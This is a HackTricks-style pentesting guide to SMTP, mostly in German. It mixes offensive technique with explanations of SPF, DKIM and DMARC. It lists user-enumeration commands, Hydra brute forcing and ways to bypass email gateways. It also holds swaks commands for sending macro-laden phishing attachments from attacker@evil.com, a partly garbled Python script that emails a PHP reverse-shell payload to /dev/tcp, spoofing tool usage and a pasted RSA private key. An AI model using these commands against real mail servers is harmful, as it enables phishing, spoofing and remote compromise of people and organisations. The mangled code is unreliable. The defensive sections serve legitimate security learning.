25,465,587 - Pentesting SMTP/s
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundlegende Informationen
Das Simple Mail Transfer Protocol (SMTP) ist ein Protokoll im TCP/IP-Stack für das Senden und Empfangen von E-Mails. Da SMTP keine Möglichkeit bietet, Nachrichten auf Empfängerseite zwischenzuspeichern, wird es häufig zusammen mit POP3 oder IMAP eingesetzt. Diese zusätzlichen Protokolle ermöglichen es Nutzern, Nachrichten in einem Server-Postfach zu speichern und periodisch herunterzuladen.
In der Praxis verwenden E-Mail-Programme oft SMTP zum Senden von E-Mails, während POP3 oder IMAP zum Empfangen genutzt werden. Auf Unix-basierten Systemen ist sendmail der am häufigsten verwendete SMTP-Server für E-Mail-Zwecke. Das kommerzielle Paket Sendmail enthält einen POP3-Server. Außerdem stellt Microsoft Exchange einen SMTP-Server bereit und bietet die Option, POP3-Unterstützung einzubinden.
Standard-Port: 25,465(ssl),587(ssl)
PORT STATE SERVICE REASON VERSION
25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959
Email Security Gateways (SEGs)
As mentioned in this blog post Secure Email Gateways (SEGs) sit in-line with inbound mail flow by changing MX records to point to the SEG instead of the mail server. The SEG inspects inbound mail (e.g., IP reputation, blocklists, SPF checks, spoofing detection, metadata/content analysis, sandboxing, URL rewriting) and then forwards, drops, or quarantines messages based on policy. The security model assumes all inbound mail reaches the SEG first; if the mail server can be reached directly, the SEG can be avoided (similar to skipping a WAF by talking to the origin directly).
Avoiding SEGs via MX mismatch
Organisationen, die Entra ID / Exchange Online verwenden, haben oft mehrere akzeptierte Domains. Wenn eine akzeptierte Domain einen MX record hat, der direkt auf den Mailserver zeigt (z. B. Exchange Online) statt auf das SEG, kannst du Mail an diese Domain zustellen und das SEG umgehen. Das ist eine Fehlkonfiguration (keine Schwachstelle), aber nach wie vor eine häufige Lücke.
Beachte auch die Standarddomain <tenant>.onmicrosoft.com: ihr MX record zeigt immer auf Exchange Online. Wenn eingehende Mails an *.onmicrosoft.com nicht eingeschränkt sind, kann das Senden an user@<tenant>.onmicrosoft.com direkt im Posteingang landen und das SEG umgehen.
Defensive notes:
- Lock down inbound to
*.onmicrosoft.com. - Regularly audit accepted domains and their MX routing.
- Configure mail servers to only accept inbound from the SEG.
EMAIL Headers
Wenn du die Möglichkeit hast, das Opfer dazu zu bringen, dir eine E-Mail zu senden (z. B. über ein Kontaktformular der Webseite), tu es — denn durch die Headers der Mail kannst du etwas über die interne Topologie des Opfers lernen.
Du kannst auch eine E-Mail von einem SMTP server bekommen, indem du versuchst, an diesen Server eine E-Mail an eine nicht existierende Adresse zu senden (weil der Server dem Angreifer eine NDN mail sendet). Achte aber darauf, dass du die E-Mail von einer erlaubten Adresse sendest (SPF-Policy prüfen) und dass du NDN-Nachrichten empfangen kannst.
You should also try to send different contents because you can find more interesting information on the headers like: X-Virus-Scanned: by av.domain.com
You should send the EICAR test file.
Detecting the AV may allow you to exploit known vulnerabilities.
Basic actions
Banner Grabbing/Basic connection
SMTP:
nc -vn <IP> 25
SMTPS:
openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587
Auffinden der MX-Server einer Organisation
dig +short mx google.com
Enumeration
nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
NTLM Auth - Informationspreisgabe
Wenn der Server NTLM auth (Windows) unterstützt, können Sie sensible Informationen (z. B. Versionen) abrufen. Mehr Infos hier.
root@kali: telnet example.com 587
220 example.com SMTP Server Banner
>> HELO
250 example.com Hello [x.x.x.x]
>> AUTH NTLM 334
NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
Oder dies mit dem nmap-Plugin smtp-ntlm-info.nse automatisieren
Interner Servername - Informationsleck
Einige SMTP-Server vervollständigen automatisch die Adresse des Absenders, wenn der Befehl “MAIL FROM” ohne vollständige Adresse ausgegeben wird, und geben dabei ihren internen Namen preis:
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK
Sniffing
Prüfe, ob du ein Passwort aus den packets an Port 25 sniffst
Auth bruteforce
Username Bruteforce Enumeration
Authentication ist nicht immer nötig
RCPT TO
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
MAIL FROM:example@domain.com
250 2.1.0 example@domain.com... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok
VRFY
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
VRFY root
250 Super-User root@myhost
VRFY blah
550 blah... User unknown
EXPN
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 ed.williams@myhost
EXPN sshd
250 2.1.5 sshd privsep sshd@myhost
Automatische Tools
Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>
DSN Reports
Delivery Status Notification Reports: Wenn Sie eine E-Mail an eine Organisation an eine ungültige Adresse senden, wird die Organisation mitteilen, dass die Adresse ungültig ist, indem sie eine E-Mail an Sie zurücksendet. Headers der zurückgesendeten E-Mail werden mögliche sensible Informationen enthalten (wie IP-Adressen der Mail-Services, die mit den Reports interagiert haben, oder Informationen über Anti-Virus-Software).
Commands
Sending an Email from linux console
sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.
<phishing message>
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197
Beim Anhängen von Dateien mit swaks verwende das Präfix @, damit die Dateibytes eingebettet werden statt der Dateinamens-Zeichenkette. Das ist entscheidend für die Auslieferung von Dokumenten mit Makros:
swaks --to hr@example.local --from attacker@evil.com --header "Subject: Resume" --body "Please review" --attach @resume.doc --server 10.0.0.5
E-Mail mit Python senden
Python-Code hier
```python from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText import smtplib import syslhost = “127.0.0.1” lport = 443 rhost = “192.168.1.1” rport = 25 # 489,587
create message object instance
msg = MIMEMultipart()
setup the parameters of the message
password = “” msg[‘From’] = “attacker@local” msg[‘To’] = “victim@local” msg[‘Subject’] = “This is not a drill!”
payload
message = (“& /dev/tcp/%s/%d 0>&1'); ?>” % (lhost,lport))
print(“[*] Payload is generated : %s” % message)
msg.attach(MIMEText(message, ‘plain’)) server = smtplib.SMTP(host=rhost,port=rport)
if server.noop()[0] != 250: print(“[-]Connection Error”) exit()
server.starttls()
Uncomment if log-in with authencation
server.login(msg[‘From’], password)
server.sendmail(msg[‘From’], msg[‘To’], msg.as_string()) server.quit()
print(“[***]successfully sent email to %s:” % (msg[‘To’]))
</details>
## SMTP Smuggling
SMTP Smuggling vulnerability allowed to bypass all the SMTP protections (check the next section for more info about protections). For more info on SMTP Smuggling check:
<a class="content_ref" href="smtp-smuggling.md"><span class="content_ref_label">SMTP Smuggling</span></a>
## Gegenmaßnahmen gegen Mail Spoofing
Organisationen verhindern, dass unautorisierte E-Mails in ihrem Namen gesendet werden, indem sie **SPF**, **DKIM** und **DMARC** einsetzen, da SMTP-Nachrichten leicht gefälscht werden können.
Ein **vollständiger Leitfaden zu diesen Gegenmaßnahmen** ist verfügbar unter [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).
### SPF
> [!CAUTION]
> SPF [was "deprecated" in 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Das bedeutet, dass man anstatt einen **TXT record** in `_spf.domain.com` zu erstellen, ihn in `domain.com` mit der **gleichen Syntax** anlegt.\
> Außerdem ist es recht üblich, um frühere spf records wiederzuverwenden, etwas wie `"v=spf1 include:_spf.google.com ~all"` zu finden
**Sender Policy Framework** (SPF) ist ein Mechanismus, der Mail Transfer Agents (MTAs) ermöglicht zu überprüfen, ob ein Host, der eine E-Mail sendet, autorisiert ist, indem er eine Liste autorisierter Mailserver abfragt, die von der Organisation definiert werden. Diese Liste, die IP-Adressen/-Bereiche, Domains und andere Entitäten angibt, die **berechtigt sind, E-Mails im Namen eines Domainnamens zu senden**, enthält verschiedene "**Mechanismen**" im SPF-Record.
#### Mechanisms
From [Wikipedia](https://en.wikipedia.org/wiki/Sender_Policy_Framework):
| Mechanism | Description |
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL | Trifft immer zu; wird für ein Standardergebnis verwendet, z. B. `-all` für alle IPs, die von vorherigen Mechanismen nicht getroffen wurden. |
| A | Trifft zu, wenn der Domainname einen Adress-Eintrag (A oder AAAA) hat, der auf die Adresse des Senders auflösbar ist. |
| IP4 | Trifft zu, wenn der Sender sich in einem angegebenen IPv4-Adressbereich befindet. |
| IP6 | Trifft zu, wenn der Sender sich in einem angegebenen IPv6-Adressbereich befindet. |
| MX | Trifft zu, wenn der Domainname einen MX-Eintrag hat, der auf die Adresse des Senders auflöst (d. h. die Mail stammt von einem der eingehenden Mailserver der Domain). |
| PTR | Trifft zu, wenn der Domainname (PTR-Eintrag) für die Adresse des Clients in der angegebenen Domain liegt und dieser Domainname auf die Client-Adresse auflöst (forward-confirmed reverse DNS). Dieser Mechanismus wird nicht empfohlen und sollte, wenn möglich, vermieden werden. |
| EXISTS | Trifft zu, wenn der angegebene Domainname auf irgendeine Adresse auflöst (unabhängig von der Adresse). Dies wird selten verwendet. Zusammen mit der SPF-Makrosprache bietet es komplexere Übereinstimmungen wie DNSBL-Abfragen. |
| INCLUDE | Verweist auf die Policy einer anderen Domain. Wenn die Policy dieser Domain besteht, besteht auch dieser Mechanismus. Falls die eingebundene Policy jedoch fehlschlägt, wird die Verarbeitung fortgesetzt. Um vollständig an die Policy einer anderen Domain zu delegieren, muss die redirect-Erweiterung verwendet werden. |
| REDIRECT | <p>Ein redirect ist ein Verweis auf einen anderen Domainnamen, der eine SPF-Policy hostet; er ermöglicht mehreren Domains, dieselbe SPF-Policy zu teilen. Er ist nützlich, wenn man mit einer großen Anzahl von Domains arbeitet, die dieselbe E-Mail-Infrastruktur teilen.</p><p>Die SPF-Policy der im redirect Mechanism angegebenen Domain wird verwendet.</p> |
It's also possible to identify **Qualifiers** that indicates **what should be done if a mechanism is matched**. By default, the **qualifier "+"** is used (so if any mechanism is matched, that means it's allowed).\
You usually will note **at the end of each SPF policy** something like: **\~all** or **-all**. This is used to indicate that **if the sender doesn't match any SPF policy, you should tag the email as untrusted (\~) or reject (-) the email.**
#### Qualifiers
Each mechanism within the policy may be prefixed by one of four qualifiers to define the intended result:
- **`+`**: Corresponds to a PASS result. By default, mechanisms assume this qualifier, making `+mx` equivalent to `mx`.
- **`?`**: Represents a NEUTRAL result, treated similarly to NONE (no specific policy).
- **`~`**: Denotes SOFTFAIL, serving as a middle ground between NEUTRAL and FAIL. Emails meeting this result are typically accepted but marked accordingly.
- **`-`**: Indicates FAIL, suggesting that the email should be outright rejected.
In the upcoming example, the **SPF policy of google.com** is illustrated. Note the inclusion of SPF policies from different domains within the first SPF policy:
```shell-session
dig txt google.com | grep spf
google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all"
dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com. IN TXT
_spf.google.com. 235 IN TXT "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"
dig txt _netblocks.google.com | grep spf
_netblocks.google.com. 1606 IN TXT "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"
dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"
dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
Traditionell war es möglich, jede Domain zu spoofen, die keinen korrekten/keinen SPF-Eintrag hatte. Heutzutage wird eine E-Mail, die von einer Domain ohne gültigen SPF-Eintrag stammt, wahrscheinlich automatisch abgewiesen/als nicht vertrauenswürdig markiert.
To check the SPF of a domain you can use online tools like: https://www.kitterman.com/spf/validate.html
DKIM (DomainKeys Identified Mail)
DKIM wird verwendet, um ausgehende E-Mails zu signieren, wodurch diese von externen Mail Transfer Agents (MTAs) validiert werden können, indem der öffentliche Schlüssel der Domain aus DNS abgerufen wird. Dieser öffentliche Schlüssel befindet sich im TXT-Record der Domain. Um auf diesen Schlüssel zuzugreifen, muss man sowohl den Selector als auch den Domainnamen kennen.
Zum Beispiel sind für das Anfragen des Schlüssels der Domainname und der Selector erforderlich. Diese lassen sich im Mail-Header DKIM-Signature finden, z. B. d=gmail.com;s=20120113.
Ein Befehl, um diese Informationen abzurufen, könnte wie folgt aussehen:
dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
DMARC (Domain-basierte Nachrichtenauthentifizierung, Berichterstattung und Konformität)
DMARC verbessert die E-Mail-Sicherheit, indem es auf den Protokollen SPF und DKIM aufbaut. Es legt Richtlinien fest, die Mailserver bei der Verarbeitung von E-Mails einer bestimmten Domain anleiten, einschließlich der Behandlung von Authentifizierungsfehlern und der Angabe, wohin Berichte über E-Mail-Verarbeitungsaktionen gesendet werden sollen.
Um den DMARC-Eintrag zu erhalten, müssen Sie die Subdomain _dmarc abfragen
# Reject
dig _dmarc.facebook.com txt | grep DMARC
_dmarc.facebook.com. 3600 IN TXT "v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"
# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com. 300 IN TXT "v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"
# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"
DMARC-Tags
| Tag-Name | Zweck | Beispiel |
|---|---|---|
| v | Protokollversion | v=DMARC1 |
| pct | Prozentsatz der Nachrichten, die gefiltert werden | pct=20 |
| ruf | Reporting-URI für forensische Berichte | ruf=mailto:authfail@example.com |
| rua | Reporting-URI für aggregierte Berichte | rua=mailto:aggrep@example.com |
| p | Richtlinie für die Organisationsdomain | p=quarantine |
| sp | Richtlinie für Subdomains der Organisationsdomain | sp=reject |
| adkim | Ausrichtungsmodus für DKIM | adkim=s |
| aspf | Ausrichtungsmodus für SPF | aspf=r |
Was ist mit Subdomains?
Von here.
Sie benötigen separate SPF-Einträge für jede Subdomain, von der Sie Mail versenden möchten.
Das Folgende wurde ursprünglich auf openspf.org veröffentlicht, das früher eine großartige Ressource für solche Dinge war.
The Demon Question: What about subdomains?
If I get mail from pielovers.demon.co.uk, and there’s no SPF data for pielovers, should I go back one level and test SPF for demon.co.uk? No. Each subdomain at Demon is a different customer, and each customer might have their own policy. It wouldn’t make sense for Demon’s policy to apply to all its customers by default; if Demon wants to do that, it can set up SPF records for each subdomain.
So the advice to SPF publishers is this: you should add an SPF record for each subdomain or hostname that has an A or MX record.
Sites with wildcard A or MX records should also have a wildcard SPF record, of the form: * IN TXT “v=spf1 -all”
Das ergibt Sinn — eine Subdomain kann sehr wohl an einem anderen geografischen Ort liegen und eine ganz andere SPF-Definition haben.
Open Relay
Beim Versenden von E-Mails ist es entscheidend, dass diese nicht als Spam markiert werden. Dies wird oft durch die Verwendung eines Relay-Servers, dem der Empfänger vertraut, erreicht. Ein häufiges Problem ist jedoch, dass Administratoren nicht immer genau wissen, welche IP-Bereiche sicher erlaubt werden können. Dieses fehlende Verständnis kann zu Fehlern bei der Konfiguration des SMTP-Servers führen, ein Risiko, das in Sicherheitsbewertungen häufig festgestellt wird.
Eine Umgehung, die einige Administratoren verwenden, um Probleme bei der Zustellung von E-Mails zu vermeiden — insbesondere im Kontakt mit potenziellen oder laufenden Kunden — besteht darin, Verbindungen von beliebigen IP-Adressen zuzulassen. Dies geschieht, indem der mynetworks-Parameter des SMTP-Servers so konfiguriert wird, dass alle IP-Adressen akzeptiert werden, wie unten gezeigt:
mynetworks = 0.0.0.0/0
Um zu prüfen, ob ein Mailserver ein open relay ist (was bedeutet, dass er E-Mails von beliebigen externen Quellen weiterleiten könnte), wird häufig das Tool nmap verwendet. Es enthält ein spezielles Script, das dafür entwickelt wurde. Der Befehl, um einen ausführlichen Scan eines Servers (z. B. mit der IP 10.10.10.10) auf Port 25 mit nmap durchzuführen, lautet:
nmap -p 25 --script smtp-open-relay -v 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
Werkzeuge
- https://github.com/serain/mailspoof Prüft auf SPF- und DMARC-Fehlkonfigurationen
- https://pypi.org/project/checkdmarc/ SPF- und DMARC-Konfigurationen automatisch abrufen
Send Spoof Email
Oder du könntest ein Tool verwenden:
# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
Warning
Wenn du beim Parsen des Schlüssels irgendwelche error using in the dkim python lib erhältst, kannst du gerne den folgenden verwenden.
HINWEIS: Dies ist nur ein schmutziger Fix, um schnelle Überprüfungen durchzuführen, falls aus irgendeinem Grund der openssl-Privatschlüssel nicht von dkim geparst werden kann.-----BEGIN RSA PRIVATE KEY----- MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1 koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq 1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf 422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ== -----END RSA PRIVATE KEY-----
Oder du kannst es manuell machen:
# This will send an unsigned message
mail("your_email@gmail.com", "Test Subject!", "hey! This is a test", "From: administrator@victim.com");
Mehr Infos
Weitere Informationen zu diesen Schutzmaßnahmen finden Sie unter https://seanthegeek.net/459/demystifying-dmarc/
Weitere Phishing-Indikatoren
- Alter der Domain
- Links, die auf IP-Adressen verweisen
- Techniken zur Manipulation von Links
- Verdächtige (unübliche) Anhänge
- Beschädigter E-Mail-Inhalt
- Werte, die sich von denen in den Mail-Headern unterscheiden
- Vorhandensein eines gültigen und vertrauenswürdigen SSL-Zertifikats
- Einreichung der Seite bei Web-Content-Filterdiensten
Exfiltration über SMTP
Wenn Sie Daten über SMTP senden können lesen Sie dies.
Konfigurationsdatei
Postfix
Normalerweise enthält, falls installiert, /etc/postfix/master.cf Skripte, die ausgeführt werden, wenn beispielsweise eine neue Mail von einem Benutzer empfangen wird. Zum Beispiel bedeutet die Zeile flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}, dass /etc/postfix/filtering ausgeführt wird, wenn eine neue Mail an den Benutzer mark zugestellt wird.
Weitere Konfigurationsdateien:
sendmail.cf
submit.cf
Referenzen
- https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/
- https://www.reddit.com/r/HowToHack/comments/101it4u/what_could_hacker_do_with_misconfigured_smtp/
- 0xdf – HTB/VulnLab JobTwo: Word VBA macro phishing via SMTP → hMailServer credential decryption → Veeam CVE-2023-27532 to SYSTEM
- https://21ad.netlify.app/blogs/the-silent-inbox-how-verified-emails-slip-past-email-security-gateways/
HackTricks Automatische Befehle
Protocol_Name: SMTP #Protocol Abbreviation if there is one.
Port_Number: 25,465,587 #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html
Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25
Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}
Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}
Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587
Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}
Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V
Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


